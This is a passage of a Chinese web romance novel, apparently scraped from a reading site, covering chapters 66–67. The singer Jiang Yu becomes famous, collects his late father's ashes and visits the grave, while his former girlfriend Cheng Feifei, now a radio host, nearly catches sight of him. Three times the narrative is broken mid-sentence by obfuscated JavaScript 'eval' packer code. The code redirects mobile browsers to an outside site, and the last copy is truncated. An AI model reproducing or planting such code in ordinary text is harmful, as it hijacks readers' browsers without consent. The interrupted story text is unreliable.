陈嘉与经由这个节目,彻底从团队官司的阴影里走了出来,开始了个人单打独斗的搞事业之路。 而江羽,则妥妥成为了一匹娱乐圈的黑马。 几乎在一夜之间,他由一个名不见经传的普通人,直接跻身炙手可热的当红明星。粉丝和媒体的关注铺天盖地地涌来,风盛传媒的公关热线都快要被各路广告商和合作公司打爆。 祁风鸣坐在自己的办公室里,感叹今年最正确的决定,就是签下了江羽。 自己看似出了三百万的高额佣金,但江羽能够带给他的回报,岂会是三百万所能衡量。 他和公司的宣传团队一起,点灯熬油地开会,将之前就准备好的公关方案一一实施落地。 祁风鸣已经决定,要把江羽打造成最顶级的艺人,让这棵潜力卓绝的好苗子,一朝长成参天大树,带着整个风盛,跃居行业一流地位。 风盛还借着综艺节目的收官,将江羽之前唱那首《Angelbaby》的影像“不经意”地推向了公众的视野。 本来只在学校圈子里小范围传播的视频,一朝成为了所有人耳熟能详的火热桥段。 这个视频拍摄于江城大学,江羽的过往便也被粉丝们掘地三尺,过往的料一个接一个地爆了出来。 第一个,便是江羽接受校级处分的事。 广大网友们纷纷惊叹——江羽这样的音乐天才,竟然还是名校的学霸? 不仅如此,学霸的经济状况居然困难到,要靠替人写论文来赚钱?还因此被人举报开除了? 这一拨简直赚足了大众的怜悯,根本无人讨论“替人代笔”这种事到底对还是不对——甚至,在普通人的认知里,娱乐圈的明星,不花钱买论文就不错了,若是还能靠卖论文赚钱,那得是什么样的学术水平! 舆论闹得过于响亮,江大的官博不得不出面回应。不仅承认了江羽的在校生身份,还明确表示,江羽虽然因为一时行差踏错受到处分,但并没有被开除学籍,如果他愿意,大可以继续回来上学,不会影响毕业。 想不到,曾经那悬而未决的毕业证,如今竟被学校高调作保。 风盛立时借着这股东风,以江羽的名义,给拓知学院捐款一百万,设立特殊奖学金,专门嘉奖那些家境贫寒、成绩优异的学生。 一时间,江羽的形象在江城大学、乃至整个社媒舆论里,打了一场漂亮的翻身仗。 奇怪的是,除了论文风波以外,江大论坛上那些关于江羽情感生活的讨论,竟然一夜之间,被人抹得干干净净。 明明是三个人的风流韵事,而今论坛上只剩下程霏霏与李泽昱的帖子。 久而久之,随着当事人的毕业离校,一干往事也都烟消云散,逐渐被新的校园八卦所覆盖。 程霏霏不得不感叹,祁风鸣果真是公关界的一把好手。 什么该留、什么不该留,都丝毫不马虎,竟然就这样不动声色地将江羽从一段狗血的校园八卦中摘得一干二净。 即便如此,这位腾空出世的新人依然聚焦了极大的关注。后来的很长一段时间,围绕在江羽身上的纷纷扰扰就没有消停过。 他本人,却一直都没有再露面。 半年以后,江羽才重新出现在了公众的视野中,带着个人的首张专辑《WhisperintheRain》。 里面收录了十首歌,每一首的作曲和演唱都是他本人。 这些歌曲的曲风不一,首首都堪称经典。 专辑一推出,迅速席卷了各大音乐榜单的首位。那之后,就如同长在了榜上,长年居高不下。其销量与传唱度,很长时间都无人能及。 围绕在江羽身上的粉粉黑黑,也俱都湮灭在了对作品的讨论声里。 * 程霏霏觉得,生活真的很神奇,以前她那么想念江羽,不知道去哪里才能见到他,如今,倒是几乎天天都能够碰面。 走在路上,公交亭和地铁站挂满了他的巨幅代言广告。 打开手机,社交媒体时不时推送来江羽的最新新闻和娱乐热搜。 连她去沙龙里做头发,店里都在循环着他的新专辑。 他好像已经彻底离开了她的生活,却又像从来也没有离开过。 程霏霏陷入了一种非常奇怪的境地——她似乎是江羽的粉丝,却又和普通的粉丝不太一样。 读研一那年,江羽代言了一款品牌矿泉水。程霏霏和所有狂热的歌迷一起,一大早就去店门口排队。 买四箱水送一个等比例的人型立牌,立牌一共有三款,先到先得。 程霏霏买了十二箱水,加上三个大立牌,浩浩荡荡地拉回了家。 她把立牌摆放在自己的卧室里,面对面看着他。 平面照片并不能很好地体现出江羽立体精致的轮廓,印刷品带着劣质的光泽,和他素面朝天却依旧白皙柔和的脸很不同。 程霏霏有些遗憾地鼓了鼓嘴,抬起手指,仔细地数了数睫毛的根数,总觉得这立牌不够精准。 她记得江羽的睫毛又密又软,像小扇子一样,数量绝对比这立牌上印的要多得多。身高也是,江羽的腿更长,搂着她的时候,低头就能亲到她的发顶,才没有立牌上这么扁平。 她甚至想要去投诉品牌方,做的什么“一比一等比立牌”,根本就是诈骗,和真人差太多了! 可惜,真人再好,她现在也摸不着。能够得到的,仅仅是眼前的这座硬纸板而已。 程霏霏每天都在对着这个立牌说话。 早上睁开眼,她躺在床上,迷迷糊糊地冲立牌打招呼:“江羽,早啊——” “昨晚又做梦了,梦到你唱歌给我听,唱的什么来着……” 程霏霏将一条毛巾搭在立牌的脑袋上:“非礼勿视,我要换衣服了。” 她一边穿衣服,一边嘀咕:“可惜啊,歌还没唱完,我就醒了,怎么也想不起来到底是哪首。” “都怪你现在的歌太多,我都记混了。”程霏霏穿好衣服,一把将那条毛巾掀开,对着立牌露出一个灿烂的笑,“我去学校啦,晚点见!” 下课回来,程霏霏还会对着立牌撒娇:“今天的开题又没过,我到底还要改几版……” 她望着立牌万年不变的笑容,低落地说:“我这人就不是读书的料,为什么脑袋一热要去读研呢?你如果在就好了,肯定知道问题出在哪儿。” 晚上,程霏霏对着立牌敷面膜。 “虽然我本来已经很美了,但是我要努力变得更美,等到见面的时候,直接给你美晕!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687708|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立牌每天都竖在卧室里,某一回,阿姨过来吸尘,觉得很占地方,就给移到了走廊。又觉得放走廊里也碍事,干脆移到了楼下院子里。阿姨吸完地,接着做饭去了,将立牌忘得一干二净。 一场大雨过后,程霏霏回到家,看到立牌的脑袋已经被风雨摧折得不成样子,似霜打的叶子一般摇摇欲坠。 她木然地呆立片刻,嘴巴一扁,竟然当场落下泪来。 阿姨吓了一跳,还以为出了啥了不得的大事,赶紧去唤来罗美琼。 罗美琼着急忙慌地赶过来,看到自己的女儿正抱着一个男明星的立牌,哭得梨花带雨。 她瞬间有点脑仁疼,琢磨着是不是该委托三姑六婆们打听打听,尽快给霏霏介绍个男朋友。 她上前拍着女儿的肩膀,好声好气地安慰:“宝儿,别哭了,你忘了,地下室里还有两个崭新的呢!” 而程霏霏丝毫不为所动:“我不!我就要这个!” 这一个和他本人长得最像。 “那妈妈再给你买新的?”罗美琼实在不知道怎么劝好了,突然灵机一动,“要不然,妈妈给你买张机票,你去看一眼这个明星好不好?我听店里的小王说,追星就是要见本人的,她都去看了自己那个偶像好几回了!” 这话一出口,程霏霏竟然真的止住了哭泣。 和江羽分开,已经整整两年了。 这两年里,她总是隔着屏幕,远远地看着他。 此刻,被妈妈这么一劝,好像真的一刻也等不下去了,程霏霏迫不及待地想要见他一面——哪怕是隔着人群悄悄地看一眼,也好。 她睁着朦胧的泪眼,冲罗美琼点了点头。 程霏霏买了第二天的机票,直飞帝都。 她提着一只便捷小巧的登机箱,没带太多行李。 在机场VIP候机室的时候,程霏霏还不忘去网上搜索江羽的消息,看看他最近在忙什么,有没有代言活动或者粉丝见面会这种露脸的机会。 实在不行,去风盛门口蹲蹲点也好。祁风鸣应该不至于会把她赶走。 忽然,手机上弹出了即时新闻推送—— 娱乐圈最新大瓜,当红歌手江羽被曝和L姓流量小花于某高档酒店共度一夜,疑似有恋情爆出! 程霏霏目瞪口呆地盯着这行字,有些理解不了其中的意思。 这时候,候机室的电视也开始播放最新娱乐头条。 只见一大群记者正围堵在风盛传媒的大门外,长枪短炮乱七八糟地竖着,几乎将出口堵死。 江羽的助理最先出来清场,现场勉强有了可以出入的空间。紧接着,江羽出现在镜头里。 他似乎刚刚结束工作,穿着一身黑色便服,脸上戴着墨镜,看不清表情,只面部的线条显得愈发冷硬。 记者一股脑地围上去,拦住了他的去路。 一堆麦克风横七竖八地杵在他眼前,杂乱无章地提问:“江羽,你对和L姓小花的绯闻有什么回应?” “春宵一度是真的吗?” “你二人现在是恋人关系吗?” 江羽对这种场景好像已经司空见惯了,并不想回应,试图扒拉开记者的话筒,继续朝前走。 一名执着的记者突然伸出胳膊,拦在他身前,高声问道:“新发布的单曲《幻影》,是为你喜欢的人写的吗?” 江羽脚步一顿,视线隔着墨镜无声地转过来。记者感受到他的不悦,咽了口唾沫,讪讪地收回了手。 江羽轻飘飘一勾唇:“你说是就是。” 然后,目不斜视地继续朝前走。 这唯一的一句回应,犹如滚入了油锅的水花,登时便炸出了一连串更为迅猛的提问。 “请问这是对绯闻做出的回应吗?” “是公开承认的意思吗?” “请问恋情是什么时候开始的?” “和L姓小花是在同居中吗?有没有结婚的打算?” 保镖们冲了过来,格挡住跃跃欲试的记者,护送着江羽一路上了车。 记者们兴奋得面红耳赤,赶紧对着自家的摄像机发出第一线的报导—— 爆炸新闻!当红歌手江羽当众承认与L姓小花的恋情,娱乐圈新的CP已经出现! 而这些报导,此刻皆如实地呈现在了候机室的大屏幕上。 周围响起此起彼伏的议论声,有祝福的,也有江羽的粉丝拒绝承认,大骂媒体捕风捉影的。 而程霏霏只是空茫地站着,像一具被抽空了情感的雕塑,呆滞到连呼吸都凝固了。 一声闷响,行李箱倒在了松软的地毯上。 66. 66 一架国际航班从加拿大多伦多起飞,目的地:中国江城。 昏暗的机舱里,过道处的小灯亮起一排模糊的光晕,冷气开得十足,让人忍不住裹紧了毛毯。一位身着制服的空姐推着餐车在狭窄的过道间移动,殷勤地为头等舱的客人递上酒水和甜品。 路经某个座位时,空姐惯常优雅的职业微笑忽然一凝。她几乎立刻捂住了嘴巴,防止自己惊呼出声。 空姐急匆匆地返回了备餐区,一把拉上帘子。 “是江羽!”她的瞳孔兴奋地放光,压抑着发颤的声调,对旁边的同事说:“江羽在咱们的航班上!” 旁边的空姐睁圆了眼睛,难以置信地探出帘子瞄了一眼。昏暗中,什么也看不清。 “真的假的!你确定没看错?” “绝对不会错!”空姐激动地捂着怦怦乱跳的小心口,“我,多年羽毛,还能认不出哥哥的样子?他刚结束的多伦多演唱会就是一头蓝发,即便戴着帽子,我也能一眼认出来!” “哇塞,真的是他本人?他点了什么?” 空姐遗憾地直跺脚:“睡着了,没说上话!” 同事安慰道:“等他醒了,你去打个招呼,说不定还能要到签名呢。” 空姐使劲点了点头,眼睛里燃烧着兴奋的小火苗。 同事觑着她的模样,忍不住调侃:“说实话,我一直搞不懂,玩得这么乱的明星,在娱乐圈都是独一份了,怎么还会有你这样的铁粉?” 空姐浑不在意地一摆手:“我喜欢的是他的歌,又不是他的人品。而且,女朋友多怎么了?长成那样,不多谈谈恋爱才是暴殄天物!” 同事噗嗤一笑:“你还挺想得开的。” “想不开又能怎么样呢……”空姐苦着脸,无奈又有点妥协地说:“谁让正主的绯闻比歌单还长呢。” 这几年,随着江羽的事业青云直上,感情官司也是一桩接着一桩,换女友的速度令粉丝都应接不暇。 这样的人,却依然拥有着高昂的热度,得亏那登峰造极的专业能力,几乎不费吹灰之力,就撸遍了国内外一众音乐大奖。 再加上,身为一名歌手,江羽却长了一张爱豆级别的脸,让人很容易就会想要原谅他。 “黑料”这东西,在弱者身上,才会被当成“缺点”。放在强者头上,久而久之,只会变成“特点”。 几年下来,“乐坛浪子”的人设,彻底成为了江羽的标签。那数不清的绯闻,则是粉丝“咬牙切齿无可奈何,除了惯着也毫无办法”的存在。 空姐还是有点不甘:“你说,如果那些绯闻都是真的,哥哥为什么从没有公开承认过谁?” “也没有否认过。”同事伸出一根手指,在她脸前晃了晃,狠狠戳破了她的幻想,“男人,不否认就是默认!懂的都懂。” 好有道理,无法反驳。 粉丝空姐长叹了一口气。 这时,机舱里的灯光悄然亮了起来,中英文广播环绕在偌大的空间里——本航班即将于三十分钟内降落在江城国际机场。 空姐们停止了闲聊,各自忙碌去了。 骤然亮起的光线令孟清影不耐地皱了皱眉,意识到自己睡着了,她赶紧拿出小镜子检查了一番妆容。 孟清影轻轻吐出一口气,有点紧张,伸长脖子,再次向斜前方张望着。 一个年轻人陷在宽大的座椅里,深灰色的毛线帽耷拉下来,盖住了大半张脸,只露出一截细巧挺直的鼻梁。 流畅的下颌线一路延伸进毯子里,让人忍不住心生好奇,下面究竟藏着怎样好看的一张脸。 ——他怎么还在睡? 孟清影焦急地咬了咬嘴唇。 十几个小时的行程,为了上前打个招呼,她连个长盹也没敢打。可是自从飞机起飞,对方便倒头就睡,愣是没给她一点机会。 孟清影向来不怯场,可是此刻,却下意识地抠弄着手里的镜盖——马上就要降落了,还能有时间认识一下吗? 忽然,脚下一阵颠簸,飞机遇到了短强气流,整个机舱都在晃动,终于把前排的人给晃醒了。 他掀开帽子,露出睡眼惺忪的眼睛。 乍然醒来,这双眼睛还不甚明朗,好像贮满了一汪浅浅的水波,显得尤为清澈。睫毛又细又长,在鼻翼两侧投下浓密的暗影。 江羽揉了揉眉心,帽檐下漏出几缕头发,自然地卷曲着,在灯光下反射出蓝幽幽的光泽。 动作间,毯子滑了下去,露出一张无可挑剔的脸。 孟清影呼吸一窒,几乎来不及多想,人已经从座位里弹了起来,抬脚走了过去。 “你好!” 她瓷白的脸上泛起一圈红晕,有些羞涩地说:“不知道你记不记得,我们在多伦多住的是同一家酒店。今天好巧,还乘同一班飞机回国……那个,我很喜欢你的歌,是你的粉丝,请问,我们能不能交换一下联系——” “先生您好,请问您需要点什么?”空姐笑容满面地走了过来,站在孟清影身侧。 孟清影这才注意到,江羽的另一只手按在了服务键上。 江羽看向空姐:“一杯冰水,谢谢。” 空姐的心简直要飞起来——哥哥的声音也太好听了吧!不唱歌的时候也好听! 临走之前,还不忘把这个前来搭讪的女人处理掉。 “不好意思女士,飞机现在正在下降,为了您的安全着想,请立刻回到自己的座位上。” 空姐半护送、半推搡着孟清影往回走。孟清影无奈,只得乖乖地回了座位,还被监督着系上了安全带。 她不爽地蹙起眉——自己向来都是被别人捧着的,人生第一次主动搭讪,怎么可以这样无疾而终? 孟清影一把抓住空姐的手,塞过来一张名片。 “我是江城电视台的节目主持人孟清影,你能帮我把这张名片递给他吗?” 空姐笑得滴水不漏:你猜我会不会帮你? “你如果不帮我,我就去投诉你。”孟清影眯缝着眼睛,低声道。 空姐:“……” 她最后只能把这张名片、并一杯加了冰块的矿泉水,一齐送到了江羽眼前。 而江羽盯着名片上的内容,不知怎么的,竟然看了很久。 久到空姐心里犯起嘀咕,忍不住暗暗失落——同事说得对,男人都一个样,不会拒绝漂亮又主动的女人,她的偶像也没有什么特别。 空姐欲言又止地看着他。 江羽忽然动了,抬眼问:“有笔吗?” 空姐一愣,赶紧拿出口袋里的笔递过去。 只见江羽把名片翻过来,在背面的空白处唰唰写下一个签名,边写边问:“是羽毛吧?” 空姐眨着眼睛,不敢置信地问:“哥……哥哥怎么知道?” “看到你的粉丝手环了。”江羽瞥了一眼她的手腕,将签名递了过来,语气平淡却不失真诚,“谢谢你来看演唱会。” …… 直到飞机平稳降落,整个机舱的乘客都走空了,空姐还沉浸在灵魂震颤的余韵里,久久不能回神。 同事抬起手,在她眼前晃了晃:“你魔怔了?” “我收回刚才的话。” 空姐紧紧捏着那枚写着签名的薄纸片,露出一个幸福的笑:“我喜欢他的歌,也喜欢他的人品。以后,绝不会再通过八卦新闻去了解他!” * 江城机场国际到达口。 江羽将帽檐拉低,戴上墨镜和口罩,双手插兜,试图潜伏进汹涌的人潮深处。 视线里,大批粉丝和记者早已经蹲守在出口,长枪短炮,应有尽有。 江羽步伐一转,进了洗手间。 兜里的手机嗡嗡作响,江羽关上隔间的门,拉下口罩。 “裴律,这个点来电话,今天挺闲?” 电话那头响起裴一舟疲惫的声音:“朋友,你该不会真的在江城吧?” “刚到。”江羽戴上蓝牙耳机,看到手机上自己的新闻,眉头一蹙,“这么临时的行程,也能曝出去?” “有没有可能,你在多伦多登机的时候就被人拍到了?”裴一舟松了领带,举目望着空旷的写字楼,声音绝望,“还有,明明是你的工作室,跑断了腿去选址的人为什么是我?哥们儿,我也好想休一个假,来一场说走就走的旅行啊。” “这个要问你老板了。” “我老板?呵,大概已经被你气死了。”裴一舟长叹一口气,“话说,你到底有什么要紧的事,演唱会一结束,就急匆匆地飞去江城?乔凌还以为是我撺掇的,快要把我掐死了知不知道?她说,帝都不知有多少人在排着队等你的档期,这下倒好,正主直接玩消失。” “让她都推了吧。”江羽微微仰起头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751654|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀气的侧脸轮廓紧绷,“我来江城有点私事。” “行叭。”裴一舟不再追问,只是四平八稳地安排道:“你还在北极上空的时候,我就已经叫祁星过去接应你了。他现在应该已经到了,就在机场外边等着。” 江羽露出一个会心的笑:“这种事,还得是你。” “老妈子的命罢了。” 裴一舟无奈地叹口气,眼瞅着前方电梯里出来几个人,赶紧把领带撸了回去。哀怨的社畜气陡然一收,又变回了衣冠楚楚的高级金领。 “开发商那边的人到了,挂了,替我好好看一眼江城!” * 机场旁边的停车场,此刻,一名保安正贴着一辆豪华商务车,探头探脑地打量。 车子通体珍珠白,纯黑色的防窥车窗严丝合缝地闭着,透出一股子“生人勿近”的气势。 保安心中嘀咕,这样高档的车,一看就价格不菲,他要是没猜错,应该是哪个明星的座驾。 这时候,后排的车窗忽然降了下来,露出一张言笑晏晏的“小白脸”。 小白脸看上去二十五六岁,耀眼的耳钉在阳光下闪着碎光,一头棕褐色的头发打理成蜷曲的小波浪,随着他的动作,不时飘来一阵风骚的高档男士香。 他似笑非笑地问:“请问,您有什么事吗?” 保安一愣,心说这人的打扮,一看就是个有钱的,可是看着不像明星,更像个富二代。 他讪笑着鞠了个躬,走远了。 祁星撇了撇嘴,拉开车门,从后座上跳下来,伸了个懒腰。 “这地方不错,以前怎么就没来过,睡了一觉,老子浑身的经脉都通畅了……” 打着哈欠转过身,猛地吓了一跳——只见他的顶头上司,演唱会之后独自回国以至被整个风盛通缉的人,此刻正清凌凌地站在他身后。 江羽嘴角一挑,毫不客气地将手里的行李箱丢给他,抬脚上车。 祁星要不是抱着个行李箱,人就已经飞扑上去了。他扒拉着车门,泪眼婆娑地哀嚎:“哥!你以后千万别玩失踪了!谢天谢地,我可算接到你了,你就是我亲哥!” “你亲哥可听不得这话。” 江羽边说话,边将墨镜和口罩卸了下来,露出素面朝天的一张脸。 饶是祁星一个直男,都忍不住感叹,有些人啊,生下来就是基因彩票。他觉得自己这双眼睛已经阅遍了娱乐圈的帅哥靓女,可还会时不时的被江羽帅到。 祁星羡慕地叹气:“你要是我亲哥就好了!就你这基因,我也绝对差不了,还用得着拜你为师?早就当爱豆成团出道去了!” 这种话,听得江羽的耳朵都快长茧了。 “祁总真是上辈子欠了你的,有你这么个不省心的弟弟。” 祁星嘿嘿一笑:“瞧您这话说的,在不省心这方面,咱俩谁也别说谁!” 说着,人已经换到了副驾,吩咐司机启程。 车子很快开出了机场,驶上了江城的绕城高速。 祁星回过头:“哥,小裴总让我来的时候,也没跟我说这趟通告是要干啥。所以,咱们现在去哪儿啊?” * 一个小时后,车子抵达目的地。 祁星从车窗里探出头,震惊地看向前方高耸的铁灰色大门,和其上一排庄严肃穆的白底黑字——江城监狱。 他做梦也没想到,他哥一个顶级明星,会来这种地方。 江羽安排他们去停车,自己独自走了进去,前往家属接待处。 一道道手续很快办完,一位身着深蓝色制服的工作人员从内间取出一只黑色的方匣,放在了面前的桌子上。 工作人员看了对面的年轻人一眼,总觉得有些莫名眼熟,好像在哪里见过。 他没有深想,只是公事公办地说:“犯人解成坤,于本监狱服刑九年零四个月,本来即将于明年刑满释放,可犯人上个月突发脑溢血,于送医前不幸离世,还望家属节哀。” 工作人员顿了顿,想要安慰一下这位犯人家属。可家属看上去极其平静,甚至称得上无动于衷,感受到工作人员的目光,才礼貌性地一点头,表示自己在听。 工作人员有点尴尬,咳了一声,继续道:“我们联系到您的时候,您没有提出任何特殊的要求,所以我们已经按照程序,将尸体火化了。这里是骨灰,麻烦您领取后签一下字。” 67. 67 江城广播台的大楼内,早高峰的电梯里挤满了人。 一阵悠扬的小提琴铃响后,电话接通了,绵软的女声徐徐开口。她尾调拖着懒,似乎还带着起床气,挠得人耳朵根发痒:“喂,电梯里呢,只聊一分钟。” “霏霏,你有没有看新闻!”任可心的激动之情已经顺着话筒溢了出来,在电梯间里回荡。 “觉都不够睡,哪来的时间看新——”程霏霏打着哈欠,眼神忽然在前方一枚半秃的后脑勺上顿住。 “——新闻那可是每天都要看的!我们这行,业务能力至关重要,靠的呀就是平时的积累,稳扎稳打才能保持进步,专业上的精进不能停歇!” “……”旁边人转头看了她一眼,收获到一个满面春风的笑容。 呵,只要我不尴尬,尴尬的就是你们。 “叮——”,电梯在某一层开了门,半秃后脑勺走了出去。 角落里的程霏霏这才松一口气,重新拿起手机:“你差点害死我。” 任可心刚要接着说点啥,程霏霏语速飞快地摁灭了她的话头:“行了,一分钟已过,有什么话上节目热线说吧。” 她将手机调成静音,丢进硕大的托特包里,跨出了电梯。 瞬间,周身的懒散气息荡然无存,程霏霏步伐飞快,一路上和一拨拨同事擦肩而过,嘴角上扬的弧度标准得如同模板。 她边走边抬起手腕,将满头青丝飞快地拢成一团,发绳在指间翻飞几下,就将蓬松的长发绑成了一枚慵懒的低丸子,柔柔地耷在纤细的脖子上。 几缕发丝松垮地垂在耳侧,给清纯可人的一张妙脸增添了几许妩媚的知性。 程霏霏一手推开播音间的门,实习生助理小闫已经在里面恭候多时,看到她,殷勤地奉上一杯热拿铁:“早啊,霏霏姐!” 程霏霏接过咖啡,比了一个“感谢”的手势,一屁股坐进主播椅子里,这才心有余悸地喘了口气:“刚才电梯里碰到台长,差点翻了个大的。” 小闫笑:“反正也不是第一回了!” 程霏霏佯装生气地将她轰了出去。 液晶屏上,倒计时的数字飞速跳动着。程霏霏戴上全包耳机,熟练地操控着调音台上的按钮。 OnAir的红灯亮了起来。 一阵节目音效过后,程霏霏甜美而标准的播报在耳机里响起。 “北京时间9点零2分,大家早上好,我是霏霏!今天又是周五了,掐指一算,周末只剩下不到一天的时间了,你有没有很期待呢?” “关注一下最近的天气情况——漫长的三伏天终于走到了尾声,有一点点初秋的感觉了。今天的天气多云到阴,有短时的阵雨伴雷雨。最近这段时日,阵雨非常频繁,可见,咱们如果想要迎接金风送爽的秋天,还要再走过一场淋漓的雨季呢。霏霏在这里提醒各位,出行时一定不要忘记带伞哦……” 播音室外,导播比了个OK的手势。 程霏霏会意,磕绊都不打地过度到下一个话题。 两个小时的节目很快进入尾声,眼前的电子屏幕上显示出一排排来电信号,程霏霏接入了最后一通电话。 “啊啊啊霏霏!天啊,真的是你吗?我竟然打通了!妈呀我好激动!” 程霏霏笑着回应:“恭喜这位听众!听你的语气,看来已经排队很久了?” “是的!我特别喜欢你,也很喜欢你的节目,每天都在准时收听!” 程霏霏笑得更甜了:“谢谢你——” “今天,我想借这个机会,在你的节目里为我的偶像点播一首《生日快乐》。” “哦?今天是你偶像的生日吗?” “不是……”听众小姑娘犹豫了一瞬,支支吾吾地说:“今天是我偶像的狗的生日。” “……” 得益于深厚的职业素养,程霏霏面上的笑容不变:“你的偶像可真幸福,有你这样贴心的粉丝,如此爱屋及乌,还不忘为他的狗狗送上暖心的生日问候。” 小姑娘高兴极了,忍不住道:“嗯!毕竟,哥哥真的很爱他的狗。在这里,我想祝小黄身体健康!长命百岁!” ——祝一只狗长命百岁?这怕是有点难。 程霏霏内心的弹幕还没走完,耳朵忽地捕捉到某个关键词。 “你刚刚说……小黄?” “对呀,哥哥的狗叫作小黄,很普通的名字是吧?取这么个名字,大概是为了好养活吧。小黄今年九岁,算得上是一位狗前辈了。希望它能健健康康的,陪伴哥哥更久一些。” “……” 程霏霏知道,她的偶像是谁了。 喉咙里好像忽然怼进去一勺浆糊,将所有词汇都堵在了里面。 广播里出现了短暂的沉默。 一墙之隔,导播讶异地挑起了眉,目光穿过大片透明的玻璃幕墙,向里间探过来。 就在他犹豫着要不要先切音乐的时候,程霏霏忽然说话了。她看上去有点恍惚,素来明眸善睐的一张脸,此刻竟然露出了一抹黯然。 开口的声音也极轻,几乎像是在自言自语:“小黄……不是被收养的野狗吗?你怎么会知道它的生日?” “谁说小黄是野狗?”热线里的女孩似乎被这个词冒犯到,极为不悦地说:“小黄是我哥哥的家人,才不是野狗!你不要搞不清楚还在这里随口乱说!” 程霏霏:“……” 最终,这通热线以程霏霏耐心地道歉、并为小黄送上一串生日祝福而结束。 片尾音效响起时,她一把薅下耳机,无力地仰倒在椅子里,不动了。 导播一把推开门,忍不住打趣:“你今天是怎么了?竟然敢diss明星的狗,活腻歪了?” 程霏霏深深地吐出一口浊气,语气有点颓:“我大概和那条狗犯冲吧。” 她端起桌上那杯冷掉的咖啡,几下喝了个干净,却怎么也压不过喉间的苦味。 从直播间里撤出来,程霏霏拿起自己的手机。屏幕上,小禾几分钟前发来一条微信——【姐,咱们什么时候出发?我妈该等急了。】 程霏霏一把将丸子头拆了,瀑布一般的秀发卷着蓬松的弧度,洋洋洒洒地披在肩上,衬得她眼似水杏,纤腰楚楚。 今天的工作状态大概率是无了。 程霏霏认命地回复了两个字:【现在。】 * 天空上飘满了浅灰色的低云,一望无际地延伸到山头的另一侧。那云朵像是喝饱了水,仿佛下一秒就会因为超重而跌落下来。 清新的山风吹过,肆无忌惮地在旷野间流窜,将满山绿草吹得此起彼伏。 江羽的衣角也随风荡起,灰蓝色的发尾在阴沉的日光下若隐若现。 他坐在石阶上,后背倚着一座刚刚立起的墓碑,长腿舒展,一侧膝盖微蜷,浑身都透着股漫不经意的懒散。 “哧啦”一声,手上开了一罐啤酒。 江羽捏着易拉罐,不知在跟谁说话:“我以前,非常讨厌酒。” 他仰头呷了一口冰凉的液体,喉结微微滑动,勾勒出白皙流畅的线条,嘴角却挂着一丝不屑的笑。 “后来才发现,酒的确是好东西。开心的时候可以喝,不开心的时候也可以喝,说不清开不开心的时候,照样能喝。” 身后的墓碑非常新,刻着逝者的姓名,除此之外,一片空白,连张遗照也没有。姓名下方的位置也是空的,没有署明立碑人是谁。 江羽回头看了眼墓碑上的名字,表情多了几分冷淡的怜悯。 “我从没有将你当作过父亲。这一点,哪怕在黄泉路上,你也要清楚。” 山风擦着草木而过,发出清浅的低吟,将他的声音衬得忽远忽近。 “这个墓地,就当是还你的,毕竟当年卖了你一条船。” 他又吞下一口酒,眼神飘向远方。触目一片青山绿水,整个江城的景致尽收眼底。 此时,淡薄的日光突然暗了几分,空中飘起浅浅的雨丝,细密地拂在人的眼睛上。江羽站起身,将卫衣的兜帽拉起,挡住纷扬而下的细雨,整个人显得愈发笔直清冷。 “我走了。”他将剩下的半罐啤酒放在了解成坤的墓前,“以后不会再来。” * 程霏霏打着方向盘,一脚急刹车。车子漂出了一个诡异的弧度,正正好好地卡进了两车之间的空隙里。 小禾怀里抱着一束盛开的百合,花瓣随着车子的漂移猛地磕到车窗上,差点碾成一团。 她一边护着花,一边看向开车的人:“姐姐,你今天心情不好啊?” “心情好,谁会陪你来扫墓?”程霏霏睨了她一眼,“唰”一下打开了车门锁,“快去快回,我可不想在这地方过夜。” 小禾露出一个理解的笑:“姐,你要不跟我一块上去?” 程霏霏抱着胳膊,坚定地摇了摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一瞬间,整个世界好像都在摇摆,记忆的画面挤压扭扯,在时间的沧田中变幻为不同的形状,毫无预兆地砸进程霏霏的脑海。 而正中的那道身影,却始终没有变过,如同那些纷乱画面中最恒久的一帧静态,是她最根深蒂固、难以磨灭的记忆。 身体里有一股奇怪的直觉在苏醒,拉扯着她的神经,让她浑身都开始细细地发抖,眼圈漫起久违的潮热。 那人戴着兜帽,离得太远,并不能看得很清楚,也难以说出几分具体的特别之处,可程霏霏还是一眼就认出了他。 绵绵雨帘中,前方的身影忽然动了,似乎在朝着更远的方向走。 几乎来不及思考,程霏霏已经追了上去。顾不上看路,更顾不上羊皮底的小高跟是否踩进了泥水。 她一边追,一边喊:“别走,等一下……” 愈发清晰的雨声将她的声音湮没,山路崎岖,程霏霏脚下一滑,猛地摔倒在地上。手中的雨伞滚了出去,被山风一带,飘摇着飞远。 程霏霏忍着钻心的疼痛,抬起头张望,视线里已经没有人。 空旷的墓园里,只有雨水冰凉地浇下,混合着眼泪流进嘴角,竟也冲淡了几分灼人的咸涩。 一阵凌乱的脚步声由远及近,小禾匆匆赶过来,连滚带爬地捡起被风吹远的雨伞,罩在两个人头顶。 “姐姐,你没事吧?怎么把自己搞成这副样子?” 